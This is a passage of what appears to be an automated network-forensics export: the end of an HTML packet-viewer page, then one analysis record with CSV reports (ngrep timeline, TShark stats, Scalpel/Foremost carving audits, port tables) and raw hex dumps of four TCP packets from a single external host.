payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a5b5176b3bed57e0e737876"},"sha256":"59325c2ad72a1cea4c72822ff917f128909ad0d149d404585fcfcf8b46368c69","timestamp":{"$date":"2026-07-18T15:42:06.198Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_zgng_obn.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 194.36.32.206:80 -> 10.152.152.11:64179 [A] #1\n.4.......Q?.Z~.fb4.)..5..=...........YK..5xC<L...0yq1.7Z[.~N.......4>....X...5.*.._..9..!.....8.>.\n.x... ._.p/./.7V.Wa.[....3F...`Z.............Q.D}.Q.5.q.:......F...ne...p.,:...Y0...q>2.u...L_0Dk'.-....:........G...h...K...j.....Ap.....k.\"\"kp.5...\\....i..E.....z.......59..t.....!.>...U..'F..M.C..tk......F.1....Ae.(.....V..3.....{..<i?.....i..'.,.5E...1.FC..p.R..5x........r..m.Np.L.NNpp<~.\"\".~..K.(......j.TDX.= ..y|.@.......s_.....W..{i..x*#XR........wC6...!....x...........}..V3.1..f.Q...N..............[2..y..o....'T...j..0........o...]...].Q......._.2..E.......d..u..bR......yLC$.i}OL3._..p+k3\\;.r..l.YH9e.v...5..:Xw.......... ....<.Z....?....(....*\n.+..o[..f...;..t...L..64....<._...Y.v.. .>..CW.w.}.z.....D.$.8.'.&.2k....S.{y,.6....5E@z..n.....g......\n...i5.1B.-...Xh....X..,`M...A.#{....V6f.j.-......fp..<..~..........o...,9.....E......t..t......}.....S..S.i.~c\\..j..j.........]}q1.q1Cq19..kBQ|Ti|TY|T...Y.........,)..W...4.F.......t7p.........[........i;Gi.....H2[%YU_....(g.F..Y.....H.T...WI..Rm.......>:E..&....i....!..z.t4...hx?.%m.i.D.l'^[....~.......o\\t.........&......D.L.;..5..D.~..%.......Tb.u.......7\\.....'.....U....z.w=.EW......iJo....h8.:g`..tn....4.......Yd...v.N...;..)......F4.... #.<+..\\.z...-.(..4K....V..9...;.b..W`...{..x..\"\"K.e..V.Ye....+...+-.s......Z./.....T4x^..C1.+..Y.e......DS.\\.f....`.7...=s..\n.5.g.....M.78R..1.{....4............1.ym.._.......h..3. l.c.......h..B.21...Y ;.<.......\"\"............_>z!P{...zgZ....8.....I..ES...\n##\nT 194.36.32.206:80 -> 10.152.152.11:64178 [A] #3\n.n..8=t..@_......WT...G.@g.l...D.p.3...l.j)......=p./8...8X$ol......~.........Qr.?....`........6.80.8..`........6.80.8..`........6.80.8..`........6.80.8..`........6.80.8..`......W......9..l...Pz.?.......:...>Y..........?8Y..?Y.=..9._..R..c&.g+........8.....}...]....+.v...M=l..........M ........7....r.,....g.u...=.l2...q...Q.....6?.[............#..%H..w_.@_.|A[0<.@..cM.v...}B.=...q.m.O......)...........A/i{..w.:9>H.......r.M....j....................A;x.h..-WE.....nX..vv....W.... d.c..9.....EX3.;..|..'.Nx.../.......ae...|y.cm. .:Z...x........U...Q...a....^./]...c.N.#.|..!.d.0...w...l.....ok5..O.`....(.......<._....`....7..\\..`.....!d....\\..........!.....1.....7O..(aR....5.._...nW.....8..V#.....F./..n...h~.|..|..Z...8...Y.,\"\"h..7.. ...g.on9.l...a.....2.67..V.a.._.d.c.s..!D....e....k..f..sp9.[...}...v.Z.g.<C.M.8J..y.v}..spY.........-......D.\\..p...0........:#\n8..I.........2&~gz...`.lsp...~g./k...............~l&......hw.;..1v..G..$uv9.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.........9.........\n.z......W..lc~...O{x.t.q...S.>>..9.q..|..S.~.6.}..........8....3..^...B.....:......m:..*.B...n.L..TmB8.^..t.AuZ....D...0.Uh..Q..+...(.:..T..r.vO.*.._........c.t..eR....4...E..6..TteT;..O....s.A.VF..*fv\\...s.A.J....fP.9..b[..x.......A......a0pV9.\\.5..........!...............K,.....\\..}7..5...T.B...{...6.B.8.r..fJ..(!.l&.z.LrP...z0..Y......6..#.U..m.FA4... ...E..im...8..B.... ...A..cJ.<O.A#.....e.^-...R...k)~.%...f.Y....m.&...mJ...N..p..m5{.F.....v..\\.\n#exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpm0cwo0lu/tshark/stats/tshark_io_graph.txt\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-18T15:42:04.092680,Tool:tmpm0cwo0lu/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpm0cwo0lu/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-18T15:42:04.097323,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpm0cwo0lu/carved/scalpel/audit.txt,468,9a60f8b5334ef2a1ecb448f10dcee134,4672c2905b2fe27e44dc60def8b446f15f01ced053c0beee0e85c1c3a3bd8661,4.96,\"Scalpel version 1.60 audit file, Started at Sat Jul 18 15:42:04 2026, Command line:, scalpel -c /tmp/tmpm0cwo0lu/carved/scalpel.conf /tmp/filtered_zgng_obn.pcap -o /tmp/tmpm0cwo0lu/carved/scalpel , Output directory: /tmp/tmpm0cwo0lu/carved/scalpel, Configuration file: /tmp/tmpm0cwo0lu/carved/scalpel.conf, Opening target , /tmp/filtered_zgng_obn.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Sat Jul 18 15:42:04 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 61 74 20 4a 75 6c 20 31 38 20 31 35 3a 34 32 3a 30 34 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 6d 30 63 77 6f 30 6c 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 7a 67 6e 67 5f 6f 62 6e 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6d 30 63 77 6f 30 6c 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6d 30 63 77 6f 30 6c 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 6d 30 63 77 6f 30 6c 75 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 7a 67 6e 67 5f 6f 62 6e 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 61 74 20 4a 75 6c 20 31 38 20 31 35 3a 34 32 3a 30 34 20 32 30 32 36 0a\n2026-07-18T15:42:04.089680,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpm0cwo0lu/carved/foremost/audit.txt,698,751bc4dba972be49dd10a4a060519677,bdbfaf7098e0331f5cdf1af05eb33cee035ed93af656c87cf41d785bf1607cfd,4.89,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sat Jul 18 15:42:04 2026, Invocation: foremost -t all -i /tmp/filtered_zgng_obn.pcap -o /tmp/tmpm0cwo0lu/carved/foremost , Output directory: /tmp/tmpm0cwo0lu/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_zgng_obn.pcap, Start: Sat Jul 18 15:42:04 2026, Length: 3 KB (3396 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sat Jul 18 15:42:04 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sat Jul 18 15:42:04 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 61 74 20 4a 75 6c 20 31 38 20 31 35 3a 34 32 3a 30 34 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 7a 67 6e 67 5f 6f 62 6e 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6d 30 63 77 6f 30 6c 75 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6d 30 63 77 6f 30 6c 75 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 7a 67 6e 67 5f 6f 62 6e 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 61 74 20 4a 75 6c 20 31 38 20 31 35 3a 34 32 3a 30 34 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 33 20 4b 42 20 28 33 33 39 36 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 61 74 20 4a 75 6c 20 31 38 20 31 35 3a 34 32 3a 30 34 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 61 74 20 4a 75 6c 20 31 38 20 31 35 3a 34 32 3a 30 34 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,4,3136,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n80,4,3136,50.00%,50.00%\n64179,2,1568,25.00%,25.00%\n64178,2,1568,25.00%,25.00%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-18 10:02:24.150588,1,TCP 194.36.32.206:80 -> 10.152.152.11:64179,194.36.32.206,10.152.152.11,80,64179,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1684298666 Ack=971166325,bc2411360d0cbc24112907bb0800450005dc7c20400040063366c22420ce0a98980b0050fab364645baa39e2d2755010003f8b6400000834ead7970fea98a9513fe25a7e93666234a6292ea6352ea63d82b1fab1d8a187c7c3e6b4594baddb3578433c4cf68df13079713185375a5bc17e4eb7f081f1b09dad343ecc82d1fe58d6e2ed35812adcf05fd4b039d80121c695899bc538c33e960acc7809afb120025f88702fd22ff73756d75761075bed0fe28e33461d17ee605ae3db8f9c1997bffdf108ffac8851d1447d8751c835b671893a1f83d484eea546b9d7d96e65029b1f708a2c3a048ce759300e8490713e32ba75c615f54c5f30446b27962defa0cae63aeca6e799a6bde2a447c0e18768a61af54bcced096af399c1ddff4170c7dd96e01c6bea226b70a935b8cc1a5c1ec7c0db69efcc458408b9cb9a7accaefabecaa6193539a3d8748c0fac09fa21ed3ec6d11f55a7072746dca84dd343038a746ba57f1b1e95f546e031bf0dde1e4165ea287fd5c0ff9e56c1f833e3d911a2cf7bca893c693fa19e1003d169a27f27bd2ca235451dc4a531104643abe570fa52acb0357800d4ba07d2ac0ce3728adb6de74e709c4c044e4e70703c7e9622917ed8c54bf32896a3fb0ebb976aa9544458cb3d20ccce797c1b400cbedee2c51012735fb7a911c98857f4a67b69be7f782a23585213dce6af0bfa1bda774336fb90ef21fce8d9e3789706f2fec3d3a288d6d5de7d86f356330931c896669851f613fc4edde3eaad1cf5afeb88fabc1398e75b32b7df79860b6ff61da1dc2754eef0e66afcc530d71115b01300f1f86f07fbab5d0f99f85dd551fc0088c77f1b185f1d32ebf745f30300b88fd0df64aedd7506df62529ff2e0c99718794c4324ae697d4f4c331c5fb10e702b6b335c3bc172e7096cdf59483965a9768388d235ed043a5877fbeef4dab9dd04ba08ae20a40401b43c915a8cb111fe3f08f9a3eb28cdbf9ec82a0af82beab66f5b01036687bf7f3be6f374d1fdc44c9ae83634f8eb1ad13cbf5fbbd3d35909761f8520ba3e952e4357f877a67dc27ab20194100f44e7241d38f4270026c3326bcc042efc530c7b792ca83616148c053545407a82d26e011bb2808167eaf50203b0d20ad8f2c96935b13142fb2da1a39f58681a8c85e558c08a2c604d16b0b6410b237bad8003835636667f6a052df8f4b480d0c56670ad113cada87eebd6fabaa2f510f596d56faea9ac2c39a39a1793d7450c8fc6b4c5c574c4c574c5c50cc4c5a47d1a0f93131753101753f969a47e635c8d8f6a898f6a8d87aadbd515c78aba5d7d7131037131437131397f8e6b42517c54697c54597c54d39fe359d11617d31117d315c12c29aaf657d62e8734a246a5a109022ebc83743770dbae8402b5931e9d895b9eb0aea79b1898e6693b4769cbcf90d08348325b2559555f83b3bc9128679946a4c959bcabc1bfc9489254aa91cc5749d403526df2d5080797aa843e3a45f4a826bad6a7ae69d8b5aaa221e8ef7ae47434a8938268783f9a256dad698444a46c275e5becbafa0c7e1dd0e3eac009046f5c74a4b3b1ba02948d16e32601db18c31fa5441a4cd13ba8b335017f448e7ea8df25e18413b915c1de5462b775c21dceb2c6ed1b375cd6bb04a69b27d5d588069d55bee40c177ad2773d1e45571be90bba8bc0694a6f80ce2e0568381a3a6760b105746ead15f4f23480faae8f82ceeb596401bda276114e9108c53bbf1d29cc93990908fe4634f8b2d6852023063c2bc9125cd07ad519fc2d9a28f0ec344bf09cf60556e0b93996e0cb3bbf62059e576009bea27bbe0578d6cc224bf065bd8556e0596596e082fe2badc0b32b2dc17306afb002cf0d5a822f1f9d0715fb5434785e07804331e02bcae659b465c1cca1cba1934453175cd666099e950d60d737a3c1053d73c1120ace35806717cd85cefd4dd73738521dc531a77b0ec88f1134b712c0aea7a3c1970fce06f931e0796d000e5f140dbea200c0a168ead93307206c8463c097b501d8f5ad68f0ac420c3231e082c159203b063cbb1dc0e118f09c2200bbbe1d0d9edb7f19c88e015f3e7a21507ba3c1f37a675a81af08023814edfc9c994900f64553cfb9ac,\".4.......Q?.Z~.fb4.)..5..=...........YK..5xC<L...0yq1.7Z[.~N.......4>....X...5.*.._..9..!.....8.>.\n.x\t.. ._.p/./.7V.Wa.[....3F...`Z.............Q.D}.Q.5.q.:......F...ne...p.,:...Y0...q>2.u...L_0Dk'.-....:........G...h...K..\tj.....Ap.....k.\"\"kp.5...\\....i..E.....z.......59..t...\t.!.>...U..'F..M.C..tk......F.1.\n..Ae.(.....V..3.....{..<i?.....i..'.,.5E...1.FC..p.R..5x........r..m.Np.L.NNpp<~.\"\".~..K.(......j.TDX.= ..y|.@.......s_.....W..{i..x*#XR........wC6...!....x...........}..V3\t1..f.Q...N..............[2..y..o....'T...j..0........o...]...].Q......._.2..E.......d..u..bR......yLC$.i}OL3._..p+k3\\;.r.\tl.YH9e.v...5..:Xw.......... ....<.Z....?....(....*\n.+..o[..f...;..t...L..64....<._...Y\tv.. .>..CW.w.}.z.....D.$.8.'.&.2k....S.{y,.6....5E@z..n.....g......\n...i5.1B.-...Xh....X..,`M...A.#{....V6f.j.-......fp..<..~..........o...,9.....E......t..t......}.....S..S.i.~c\\..j..j.........]}q1.q1Cq19..kBQ|Ti|TY|T...Y.........,)..W...4.F..\t....t7p.........[........i;Gi.....H2[%YU_....(g.F..Y.....H.T...WI..Rm.......>:E..&....i....!..z.t4...hx?.%m.i.D.l'^[....~.....\t.o\\t.........&......D.L.;..5..D.~..%.......Tb.u.......7\\.....'.....U....z.w=.EW......iJo....h8.:g`..tn....4.......Yd...v.N...;..)...\t..F4.... #.<+..\\.z...-.(..4K....V..9...;.b..W`\t..{..x..\"\"K.e..V.Ye....+...+-.s.....\nZ./.....T4x^..C1.+..Y.e......DS.\\.f\t..\n`.7...=s..\n.5.g.....M.78R..1.{....4............1.ym.._.\n.....h..3. l.c.......h..B.21...Y ;.<.......\"\"....\n......._>z!P{...zgZ....8.....I..ES...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1500, \"\"id\"\": 31776, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 13158, \"\"src\"\": \"\"194.36.32.206\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64179, \"\"seq\"\": 1684298666, \"\"ack\"\": 971166325, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 35684, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"0834ead7970fea98a9513fe25a7e93666234a6292ea6352ea63d82b1fab1d8a187c7c3e6b4594baddb3578433c4cf68df13079713185375a5bc17e4eb7f081f1b09dad343ecc82d1fe58d6e2ed35812adcf05fd4b039d80121c695899bc538c33e960acc7809afb120025f88702fd22ff73756d75761075bed0fe28e33461d17ee605ae3db8f9c1997bffdf108ffac8851d1447d8751c835b671893a1f83d484eea546b9d7d96e65029b1f708a2c3a048ce759300e8490713e32ba75c615f54c5f30446b27962defa0cae63aeca6e799a6bde2a447c0e18768a61af54bcced096af399c1ddff4170c7dd96e01c6bea226b70a935b8cc1a5c1ec7c0db69efcc458408b9cb9a7accaefabecaa6193539a3d8748c0fac09fa21ed3ec6d11f55a7072746dca84dd343038a746ba57f1b1e95f546e031bf0dde1e4165ea287fd5c0ff9e56c1f833e3d911a2cf7bca893c693fa19e1003d169a27f27bd2ca235451dc4a531104643abe570fa52acb0357800d4ba07d2ac0ce3728adb6de74e709c4c044e4e70703c7e9622917ed8c54bf32896a3fb0ebb976aa9544458cb3d20ccce797c1b400cbedee2c51012735fb7a911c98857f4a67b69be7f782a23585213dce6af0bfa1bda774336fb90ef21fce8d9e3789706f2fec3d3a288d6d5de7d86f356330931c896669851f613fc4edde3eaad1cf5afeb88fabc1398e75b32b7df79860b6ff61da1dc2754eef0e66afcc530d71115b01300f1f86f07fbab5d0f99f85dd551fc0088c77f1b185f1d32ebf745f30300b88fd0df64aedd7506df62529ff2e0c99718794c4324ae697d4f4c331c5fb10e702b6b335c3bc172e7096cdf59483965a9768388d235ed043a5877fbeef4dab9dd04ba08ae20a40401b43c915a8cb111fe3f08f9a3eb28cdbf9ec82a0af82beab66f5b01036687bf7f3be6f374d1fdc44c9ae83634f8eb1ad13cbf5fbbd3d35909761f8520ba3e952e4357f877a67dc27ab20194100f44e7241d38f4270026c3326bcc042efc530c7b792ca83616148c053545407a82d26e011bb2808167eaf50203b0d20ad8f2c96935b13142fb2da1a39f58681a8c85e558c08a2c604d16b0b6410b237bad8003835636667f6a052df8f4b480d0c56670ad113cada87eebd6fabaa2f510f596d56faea9ac2c39a39a1793d7450c8fc6b4c5c574c4c574c5c50cc4c5a47d1a0f93131753101753f969a47e635c8d8f6a898f6a8d87aadbd515c78aba5d7d7131037131437131397f8e6b42517c54697c54597c54d39fe359d11617d31117d315c12c29aaf657d62e8734a246a5a109022ebc83743770dbae8402b5931e9d895b9eb0aea79b1898e6693b4769cbcf90d08348325b2559555f83b3bc9128679946a4c959bcabc1bfc9489254aa91cc5749d403526df2d5080797aa843e3a45f4a826bad6a7ae69d8b5aaa221e8ef7ae47434a8938268783f9a256dad698444a46c275e5becbafa0c7e1dd0e3eac009046f5c74a4b3b1ba02948d16e32601db18c31fa5441a4cd13ba8b335017f448e7ea8df25e18413b915c1de5462b775c21dceb2c6ed1b375cd6bb04a69b27d5d588069d55bee40c177ad2773d1e45571be90bba8bc0694a6f80ce2e0568381a3a6760b105746ead15f4f23480faae8f82ceeb596401bda276114e9108c53bbf1d29cc93990908fe4634f8b2d6852023063c2bc9125cd